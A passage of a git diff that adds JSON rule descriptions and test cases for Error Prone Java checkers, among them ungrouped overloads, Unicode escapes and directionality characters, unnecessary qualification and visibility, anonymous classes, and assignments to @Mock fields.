+ ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n public class UngroupedOverloadsPositiveCasesInterleaved {\n\n private int foo;\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar(int x, String z, int y) {\n System.out.println(String.format(\"z: %s, x: %d, y: %d\", z, x, y));\n }\n\n public UngroupedOverloadsPositiveCasesInterleaved(int foo) {\n this.foo = foo;\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar(int x) {\n bar(foo, x);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'baz'\n public void baz(String x) {\n baz(x, FOO);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar(int x, int y) {\n bar(y, FOO, x);\n }\n\n public static final String FOO = \"foo\";\n\n // BUG: Diagnostic contains: ungrouped overloads of 'baz'\n public void baz(String x, String y) {\n bar(foo, x + y, foo);\n }\n\n public void foo(int x) {}\n\n public void foo() {\n foo(foo);\n }\n }\\" + }, + { + "description": "ungroupedOverloadsPositiveCasesCovering", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n public class UngroupedOverloadsPositiveCasesCovering {\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo'\n public void foo(int x) {\n System.out.println(x);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar() {\n foo();\n }\n\n public void baz() {\n bar();\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'bar'\n public void bar(int x) {\n foo(x);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'quux'\n private void quux() {\n norf();\n }\n\n private void norf() {\n quux();\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'quux'\n public void quux(int x) {\n bar(x);\n }\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo'\n public void foo() {\n foo(42);\n }\n }\\" + }, + { + "description": "ungroupedOverloadsPositiveCasesCoveringOnlyFirstOverload", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\npublic class UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst {\n\n // BUG: Diagnostic contains: Constructors and methods with the same name should appear\n public void foo(int x) {\n System.out.println(x);\n }\n\n public void bar() {\n foo();\n }\n\n public void baz() {\n bar();\n }\n\n public void bar(int x) {\n foo(x);\n }\n\n private void quux() {\n norf();\n }\n\n private void norf() {\n quux();\n }\n\n public void quux(int x) {\n bar(x);\n }\n\n public void foo() {\n foo(42);\n }\n}\\" + }, + { + "description": "ungroupedOverloadsNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 335 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n public class UngroupedOverloadsNegativeCases {\n\n private int foo;\n\n public UngroupedOverloadsNegativeCases(int foo) {\n this.foo = foo;\n }\n\n public void bar(int x) {\n bar(foo, x);\n }\n\n public void bar(int x, String z, int y) {\n System.out.println(String.format(\"z: %s, x: %d, y: %d\", z, x, y));\n }\n\n public void bar(int x, int y) {\n bar(y, FOO, x);\n }\n\n public static class Baz {}\n\n public static final String FOO = \"foo\";\n\n public void baz(String x) {\n baz(x, FOO);\n }\n\n public void baz(String x, String y) {\n bar(foo, x + y, foo);\n }\n\n public int foo() {\n return this.foo;\n }\n }\\" + }, + { + "description": "ungroupedOverloadsRefactoringComments", + "expected-problems": null, + "expected-linenumbers": [ + 386 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n class UngroupedOverloadsRefactoringComments {\n\n private void bar() {}\n\n public static final String FOO = \"foo\"; // This is super-important comment for `foo`.\n\n // Something about `bar`.\n /** Does something. */\n public void bar(int x) {}\n\n // Something about this `bar`.\n public void bar(int x, int y) {}\n\n // Something about `baz`.\n public static final String BAZ = \"baz\"; // Stuff about `baz` continues.\n\n // More stuff about `bar`.\n public void bar(int x, int y, int z) {\n // Some internal comments too.\n }\n\n public void quux() {}\n\n public void bar(String s) {}\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n class UngroupedOverloadsRefactoringComments {\n\n private void bar() {}\n\n // Something about `bar`.\n /** Does something. */\n public void bar(int x) {}\n\n // Something about this `bar`.\n public void bar(int x, int y) {}\n\n // More stuff about `bar`.\n public void bar(int x, int y, int z) {\n // Some internal comments too.\n }\n\n public void bar(String s) {}\n\n public static final String FOO = \"foo\"; // This is super-important comment for `foo`.\n\n // Something about `baz`.\n public static final String BAZ = \"baz\"; // Stuff about `baz` continues.\n\n public void quux() {}\n }\\" + }, + { + "description": "ungroupedOverloadsRefactoringMultiple", + "expected-problems": null, + "expected-linenumbers": [ + 460 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n class UngroupedOverloadsRefactoringMultiple {\n\n public void foo() {}\n\n public void foo(int x) {}\n\n private static class foo {}\n\n public void foo(int x, int y) {}\n\n public void bar() {}\n\n public static final String BAZ = \"baz\";\n\n public void foo(int x, int y, int z) {}\n\n public void quux() {}\n\n public void quux(int x) {}\n\n public static final int X = 0;\n public static final int Y = 1;\n\n public void quux(int x, int y) {}\n\n private int quux;\n\n public void norf() {}\n\n public void quux(int x, int y, int z) {}\n\n public void thud() {}\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n class UngroupedOverloadsRefactoringMultiple {\n\n public void foo() {}\n\n public void foo(int x) {}\n\n public void foo(int x, int y) {}\n\n public void foo(int x, int y, int z) {}\n\n private static class foo {}\n\n public void bar() {}\n\n public static final String BAZ = \"baz\";\n\n public void quux() {}\n\n public void quux(int x) {}\n\n public void quux(int x, int y) {}\n\n public void quux(int x, int y, int z) {}\n\n public static final int X = 0;\n public static final int Y = 1;\n\n private int quux;\n\n public void norf() {}\n\n public void thud() {}\n }\\" + }, + { + "description": "ungroupedOverloadsRefactoringInterleaved", + "expected-problems": null, + "expected-linenumbers": [ + 550 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n class UngroupedOverloadsRefactoringInterleaved {\n\n public void foo() {}\n\n public void baz() {}\n\n public void bar() {}\n\n public void foo(int x) {}\n\n public void baz(int x) {}\n\n public void foo(int x, int y) {}\n\n public void quux() {}\n\n public void baz(int x, int y) {}\n\n public void quux(int x) {}\n\n public void bar(int x) {}\n\n public void quux(int x, int y) {}\n\n public void foo(int x, int y, int z) {}\n\n public void bar(int x, int y) {}\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author hanuszczak@google.com (Łukasz Hanuszczak)\n */\n class UngroupedOverloadsRefactoringInterleaved {\n\n public void foo() {}\n\n public void foo(int x) {}\n\n public void foo(int x, int y) {}\n\n public void foo(int x, int y, int z) {}\n\n public void baz() {}\n\n public void baz(int x) {}\n\n public void baz(int x, int y) {}\n\n public void bar() {}\n\n public void bar(int x) {}\n\n public void bar(int x, int y) {}\n\n public void quux() {}\n\n public void quux(int x) {}\n\n public void quux(int x, int y) {}\n }\\" + }, + { + "description": "ungroupedOverloadsRefactoringBelowCutoffLimit", + "expected-problems": null, + "expected-linenumbers": [ + 630 + ], + "code": "class BelowLimit {\n BelowLimit() {}\n\n void foo() {}\n\n void bar() {}\n\n void foo(int x) {}\n }\n \n\n class BelowLimit {\n BelowLimit() {}\n\n void foo() {}\n\n void foo(int x) {}\n\n void bar() {}\n }" + }, + { + "description": "ungroupedOverloadsRefactoring_fiveMethods", + "expected-problems": null, + "expected-linenumbers": [ + 663 + ], + "code": "class AboveLimit {\n AboveLimit() {}\n\n void foo() {}\n\n void bar() {}\n\n void foo(int x) {}\n\n void baz() {}\n }\n \n\n class AboveLimit {\n AboveLimit() {}\n\n void foo() {}\n\n void foo(int x) {}\n\n void bar() {}\n\n void baz() {}\n }" + }, + { + "description": "staticAndNonStatic", + "expected-problems": null, + "expected-linenumbers": [ + 700 + ], + "code": "class Test {\n void foo() {}\n\n void bar() {}\n\n static void foo(int x) {}\n }" + }, + { + "description": "staticAndNonStaticInterspersed", + "expected-problems": null, + "expected-linenumbers": [ + 718 + ], + "code": "class Test {\n private void foo(int x) {}\n\n private static void foo(int x, int y, int z) {}\n\n private void foo(int x, int y) {}\n }" + }, + { + "description": "suppressOnAnyMethod", + "expected-problems": null, + "expected-linenumbers": [ + 735 + ], + "code": "class Test {\n void foo() {}\n\n void bar() {}\n\n @SuppressWarnings(\"UngroupedOverloads\")\n void foo(int x) {}\n }" + }, + { + "description": "javadoc", + "expected-problems": null, + "expected-linenumbers": [ + 753 + ], + "code": "class Test {\n void foo() {}\n\n void bar() {}\n\n /** doc */\n void foo(int x) {}\n }\n \n\n class Test {\n\n void foo() {}\n\n /** doc */\n void foo(int x) {}\n\n void bar() {}\n }" + }, + { + "description": "diagnostic", + "expected-problems": null, + "expected-linenumbers": [ + 784 + ], + "code": "class Test {\n // BUG: Diagnostic contains: ungrouped overloads of 'foo' on line(s): 11, 14, 17\n private void foo() {}\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo' on line(s): 11, 14, 17\n private void foo(int a) {}\n\n private void bar() {}\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo' on line(s): 3, 6\n private void foo(int a, int b) {}\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo' on line(s): 3, 6\n private void foo(int a, int b, int c) {}\n\n // BUG: Diagnostic contains: ungrouped overloads of 'foo' on line(s): 3, 6\n private void foo(int a, int b, int c, int d) {}\n }" + }, + { + "description": "interleavedUngroupedOverloads", + "expected-problems": null, + "expected-linenumbers": [ + 812 + ], + "code": "class Test {\n void foo() {\n System.err.println();\n }\n\n void bar() {\n System.err.println();\n }\n\n void foo(int x) {\n System.err.println();\n }\n\n void bar(int x) {\n System.err.println();\n }\n }\n \n\n class Test {\n\n void foo() {\n System.err.println();\n }\n\n void foo(int x) {\n System.err.println();\n }\n\n void bar() {\n System.err.println();\n }\n\n void bar(int x) {\n System.err.println();\n }\n }" + }, + { + "description": "describingConstructors", + "expected-problems": null, + "expected-linenumbers": [ + 862 + ], + "code": "class Test {\n // BUG: Diagnostic contains: constructor overloads\n Test() {}\n\n private void bar() {}\n\n // BUG: Diagnostic contains: constructor overloads\n Test(int i) {}\n }" + }, + { + "description": "recordConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 881 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import java.util.Set;\n\n record MyRecord(ImmutableSet strings) {\n MyRecord(Set strings) {\n this(strings == null ? ImmutableSet.of() : ImmutableSet.copyOf(strings));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeDirectionalityCharacters.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeDirectionalityCharacters.json new file mode 100644 index 0000000..cfb711a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeDirectionalityCharacters.json @@ -0,0 +1,38 @@ +{ + "name": "UnicodeDirectionalityCharacters", + "language": "java", + "description": "Unicode directionality modifiers can be used to conceal code in many editors.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "class Test {\n final int noUnicodeHereBoss = 1;\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "// BUG: Diagnostic contains:\n /** \\u202a */\n class Test {\n final int noUnicodeHereBoss = 1;\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "// BUG: Diagnostic contains:\n /** \\u202a */\n class Test {\n final int noUnicodeHereBoss = 1;\n }\n \n\n // BUG: Diagnostic contains:\n /** \\\\u202A */\n class Test {\n final int noUnicodeHereBoss = 1;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeEscape.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeEscape.json new file mode 100644 index 0000000..9f67ed0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeEscape.json @@ -0,0 +1,86 @@ +{ + "name": "UnicodeEscape", + "language": "java", + "description": "Using unicode escape sequences for printable ASCII characters is obfuscated, and potentially dangerous.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 12, + "apis": 4, + "test": [ + { + "description": "printableAsciiCharacter_finding", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n private static final String FOO = \"\\\\u0020\";\n }" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "@SuppressWarnings(\"UnicodeEscape\")\n class Test {\n private static final String FOO = \"\\\\u0020\";\n }" + }, + { + "description": "unicodeEscapeRefactoredToLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "class Test {\n private static final String FOO = \"\\\\u0020\";\n private static final String BAR = \"\\\\uuuuu0020\";\n }\n \n\n class Test {\n private static final String FOO = \" \";\n private static final String BAR = \" \";\n }" + }, + { + "description": "jdk8269150", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "class Test {\n private static final String FOO = \"\\\\u005c\\\\\\\\u005d\";\n }\n \n\n class Test {\n private static final String FOO = \"\\\\\\\\]\";\n }" + }, + { + "description": "newlinesRefactored", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "" + }, + { + "description": "nonPrintableAsciiCharacter_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "class Test {\n private static final String FOO = \"\\\\u0312\";\n }" + }, + { + "description": "extraEscapes_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "class Test {\n private static final String FOO = \"\\\\\\\\u0020\";\n }" + }, + { + "description": "everythingObfuscated", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "class A {}" + }, + { + "description": "escapedLiteralBackslashU", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "/** \\\\u005Cu */\n class A {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeInCode.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeInCode.json new file mode 100644 index 0000000..9707321 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeInCode.json @@ -0,0 +1,86 @@ +{ + "name": "UnicodeInCode", + "language": "java", + "description": "Avoid using non-ASCII Unicode characters outside of comments and literals, as they can be confusing.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 8, + "apis": 2, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "class Test {\n final int noUnicodeHereBoss = 1;\n }" + }, + { + "description": "negativeInComment", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "/** \\u03c0 */\n class Test {\n final int noUnicodeHereBoss = 1; // roughly \\u03c0\n }" + }, + { + "description": "negativeInStringLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "class Test {\n static final String pi = \"\\u03c0\";\n }" + }, + { + "description": "negativeInCharLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "class Test {\n static final char pi = '\\u03c0';\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "class Test {\n // BUG: Diagnostic contains: Unicode character (\\\\u03c0)\n static final double \\u03c0 = 3;\n }" + }, + { + "description": "positiveMultiCharacterGivesOneFinding", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "class Test {\n // BUG: Diagnostic contains: Unicode character (\\\\u03c0\\\\u03c0)\n static final double \\u03c0\\u03c0 = 3;\n }" + }, + { + "description": "suppressibleAtClassLevel", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "@SuppressWarnings(\"UnicodeInCode\")\n class Test {\n static final double \\u03c0 = 3;\n }" + }, + { + "description": "suppressibleAtMethodLevel", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "class Test {\n @SuppressWarnings(\"UnicodeInCode\")\n void test() {\n double \\u03c0 = 3;\n }\n }" + }, + { + "description": "asciiSub", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarilyFullyQualified.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarilyFullyQualified.json new file mode 100644 index 0000000..1a30067 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarilyFullyQualified.json @@ -0,0 +1,134 @@ +{ + "name": "UnnecessarilyFullyQualified", + "language": "java", + "description": "This fully qualified name is unambiguous to the compiler if imported.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 248, + "branches": 33, + "apis": 4, + "test": [ + { + "description": "singleUse", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "interface Test {\n java.util.List foo();\n\n java.util.List bar();\n }\n \n\n import java.util.List;\n\n interface Test {\n List foo();\n\n List bar();\n }" + }, + { + "description": "wouldBeAmbiguous", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "interface Test {\n java.util.List foo();\n }" + }, + { + "description": "refersToMultipleTypes", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "package a;\n\n public class List {}\n \n\n package b;\n\n interface Test {\n java.util.List foo();\n\n a.List bar();\n }" + }, + { + "description": "refersToMultipleTypes_dependingOnLocation", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "package a;\n\n public class Outer {\n public class List {}\n }\n \n\n package b;\n\n import a.Outer;\n\n interface Test {\n java.util.List foo();\n\n public abstract class Inner extends Outer {\n abstract List bar();\n }\n }" + }, + { + "description": "inconsistentImportUsage", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "import java.util.List;\n\n public class Test {\n public java.util.List foo(List list) {\n return list;\n }\n }\n \n\n import java.util.List;\n\n public class Test {\n public List foo(List list) {\n return list;\n }\n }" + }, + { + "description": "clashesWithTypeInSuperType", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "package a;\n\n public interface A {\n public static class List {}\n }\n \n\n package b;\n\n import a.A;\n\n class Test implements A {\n java.util.List foo() {\n return null;\n }\n }" + }, + { + "description": "builder", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "package a;\n\n public class Foo {\n public static final class Builder {}\n }\n \n\n package b;\n\n interface Test {\n a.Foo foo();\n\n a.Foo.Builder fooBuilder();\n }\n \n\n package b;\n\n import a.Foo;\n\n interface Test {\n Foo foo();\n\n Foo.Builder fooBuilder();\n }" + }, + { + "description": "exemptedNames", + "expected-problems": null, + "expected-linenumbers": [ + 233 + ], + "code": "package pkg;\n\n public class Annotation {}\n \n\n interface Test {\n pkg.Annotation foo();\n }" + }, + { + "description": "innerClass", + "expected-problems": null, + "expected-linenumbers": [ + 255 + ], + "code": "package test;\n\n public class A {\n class B {}\n\n void test(A a) {\n a.new B() {};\n }\n }" + }, + { + "description": "packageInfo", + "expected-problems": null, + "expected-linenumbers": [ + 275 + ], + "code": "package a;\n\n public @interface A {}\n \n\n @a.A\n package b;" + }, + { + "description": "staticNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 294 + ], + "code": "package test;\n\n public final class EnclosingType {\n public static final class StaticNestedClass {}\n }\n \n\n interface Test {\n test.EnclosingType.StaticNestedClass method();\n }\n \n\n import test.EnclosingType.StaticNestedClass;\n\n interface Test {\n StaticNestedClass method();\n }" + }, + { + "description": "exemptedEnclosingTypes", + "expected-problems": null, + "expected-linenumbers": [ + 326 + ], + "code": "package org.immutables.value;\n\n public @interface Value {\n @interface Immutable {}\n }\n \n\n import org.immutables.value.Value.Immutable;\n\n class Test {\n @org.immutables.value.Value.Immutable\n abstract class AbstractType {}\n }\n \n\n import org.immutables.value.Value;\n import org.immutables.value.Value.Immutable;\n\n class Test {\n @Value.Immutable\n abstract class AbstractType {}\n }" + }, + { + "description": "exemptedEnclosingTypes_importWouldBeAmbiguous", + "expected-problems": null, + "expected-linenumbers": [ + 364 + ], + "code": "package org.immutables.value;\n\n public @interface Value {\n @interface Immutable {}\n }\n \n\n package annotation;\n\n public @interface Value {\n String value();\n }\n \n\n import annotation.Value;\n\n final class Test {\n Test(@Value(\"test\") String value) {}\n\n @org.immutables.value.Value.Immutable\n abstract class AbstractType {}\n }" + }, + { + "description": "unbatchedFindings", + "expected-problems": null, + "expected-linenumbers": [ + 404 + ], + "code": "interface Test {\n // BUG: Diagnostic contains:\n java.util.List foo();\n\n // BUG: Diagnostic contains:\n java.util.List bar();\n }" + }, + { + "description": "batchedFindings", + "expected-problems": null, + "expected-linenumbers": [ + 421 + ], + "code": "interface Test {\n // BUG: Diagnostic contains:\n java.util.List foo();\n\n java.util.List bar();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarilyVisible.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarilyVisible.json new file mode 100644 index 0000000..5b3a2b8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarilyVisible.json @@ -0,0 +1,86 @@ +{ + "name": "UnnecessarilyVisible", + "language": "java", + "description": "Some methods (such as those annotated with @Inject or @Provides) are only intended to be called by a framework, and so should have default visibility.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "publicConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import javax.inject.Inject;\n\n class Test {\n @Inject\n public Test() {}\n }\n \n\n import javax.inject.Inject;\n\n class Test {\n @Inject\n Test() {}\n }" + }, + { + "description": "annotationAppearsInFinding", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import javax.inject.Inject;\n\n class Test {\n @Inject\n // BUG: Diagnostic contains: annotated with @Inject\n public Test() {}\n }" + }, + { + "description": "caveatOnInject", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "import javax.inject.Inject;\n\n class Test {\n @Inject\n // BUG: Diagnostic contains: VisibleForTesting\n public Test() {}\n }" + }, + { + "description": "caveatNotOnProvides", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "import com.google.inject.Provides;\n\n class Test {\n @Provides\n // BUG: Diagnostic matches: X\n public int foo() {\n return 1;\n }\n }" + }, + { + "description": "protectedConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import javax.inject.Inject;\n\n class Test {\n @Inject\n protected Test() {}\n }\n \n\n import javax.inject.Inject;\n\n class Test {\n @Inject\n Test() {}\n }" + }, + { + "description": "providesMethod", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "import com.google.inject.Provides;\n\n class Test {\n @Provides\n public int foo() {\n return 1;\n }\n }\n \n\n import com.google.inject.Provides;\n\n class Test {\n @Provides\n int foo() {\n return 1;\n }\n }" + }, + { + "description": "unannotated_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "class Test {\n public int foo() {\n return 1;\n }\n }" + }, + { + "description": "visibleForTesting_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import com.google.common.annotations.VisibleForTesting;\n import javax.inject.Inject;\n\n class Test {\n @Inject\n @VisibleForTesting\n public Test() {}\n }" + }, + { + "description": "overridesPublicMethod_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 205 + ], + "code": "class A {\n public void foo() {}\n }\n \n\n import com.google.inject.Provides;\n\n class Test extends A {\n @Provides\n public void foo() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAnonymousClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAnonymousClass.json new file mode 100644 index 0000000..5acbce0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAnonymousClass.json @@ -0,0 +1,62 @@ +{ + "name": "UnnecessaryAnonymousClass", + "language": "java", + "description": "Implementing a functional interface is unnecessary; prefer to implement the functional interface method directly and use a method reference instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 233, + "branches": 22, + "apis": 4, + "test": [ + { + "description": "variable_instance", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private final Function camelCase =\n new Function() {\n public String apply(String x) {\n return \"hello \" + x;\n }\n };\n\n void g() {\n Function f = camelCase;\n System.err.println(camelCase.apply(\"world\"));\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private String camelCase(String x) {\n return \"hello \" + x;\n }\n\n void g() {\n Function f = this::camelCase;\n System.err.println(camelCase(\"world\"));\n }\n }" + }, + { + "description": "variable_static", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private static final Function F =\n new Function() {\n public String apply(String x) {\n return \"hello \" + x;\n }\n };\n\n void g() {\n Function l = Test.F;\n System.err.println(F.apply(\"world\"));\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private static String f(String x) {\n return \"hello \" + x;\n }\n\n void g() {\n Function l = Test::f;\n System.err.println(f(\"world\"));\n }\n }" + }, + { + "description": "abstractClass", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import java.util.function.Function;\n\n class Test {\n abstract static class Impl implements Function {\n public String apply(String input) {\n return input;\n }\n\n public abstract void f(String input);\n }\n\n private final Function camelCase =\n new Impl() {\n public void f(String input) {}\n };\n\n void g() {\n Function f = camelCase;\n System.err.println(camelCase.apply(\"world\"));\n }\n }" + }, + { + "description": "recursive", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private static final Function STRINGIFY =\n new Function() {\n @Override\n public Object apply(Object input) {\n return transform(STRINGIFY);\n }\n };\n\n public static Object transform(Function f) {\n return f.apply(\"a\");\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private static Object stringify(Object input) {\n return transform(Test::stringify);\n }\n\n public static Object transform(Function f) {\n return f.apply(\"a\");\n }\n }" + }, + { + "description": "invokingDefaultMethod", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "import java.util.function.Function;\n\n class Test {\n interface Foo {\n int foo(int a);\n\n default void bar() {\n foo(1);\n }\n }\n\n private static final Foo FOO =\n new Foo() {\n @Override\n public int foo(int a) {\n return 2 * a;\n }\n };\n\n public static void test() {\n FOO.bar();\n useFoo(FOO);\n }\n\n public static void useFoo(Foo foo) {}\n }" + }, + { + "description": "mockitoSpy", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "import java.util.function.Function;\n import org.mockito.Spy;\n\n class Test {\n interface Foo {\n int foo(int a);\n }\n\n @Spy\n private static final Foo FOO =\n new Foo() {\n @Override\n public int foo(int a) {\n return 2 * a;\n }\n };\n\n public static void test() {\n FOO.foo(2);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAssignment.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAssignment.json new file mode 100644 index 0000000..b1134a9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAssignment.json @@ -0,0 +1,158 @@ +{ + "name": "UnnecessaryAssignment", + "language": "java", + "description": "Fields annotated with @Inject/@Mock should not be manually assigned to, as they should be initialized by a framework. Remove the assignment if a framework is being used, or the annotation if one isn't.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 234, + "branches": 18, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import org.mockito.Mock;\n\n class Test {\n // BUG: Diagnostic contains:\n @Mock Object mockObject = new Object();\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import org.mockito.Mock;\n\n class Test {\n @Mock Object mockObject;\n }" + }, + { + "description": "doubleAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import com.google.inject.Inject;\n import org.mockito.Mock;\n\n class Test {\n // BUG: Diagnostic contains: both\n @Mock @Inject Object mockObject;\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "import org.mockito.Mock;\n\n class Test {\n @Mock Object mockObject = new Object();\n }\n \n\n import org.mockito.Mock;\n\n class Test {\n @Mock Object mockObject;\n }" 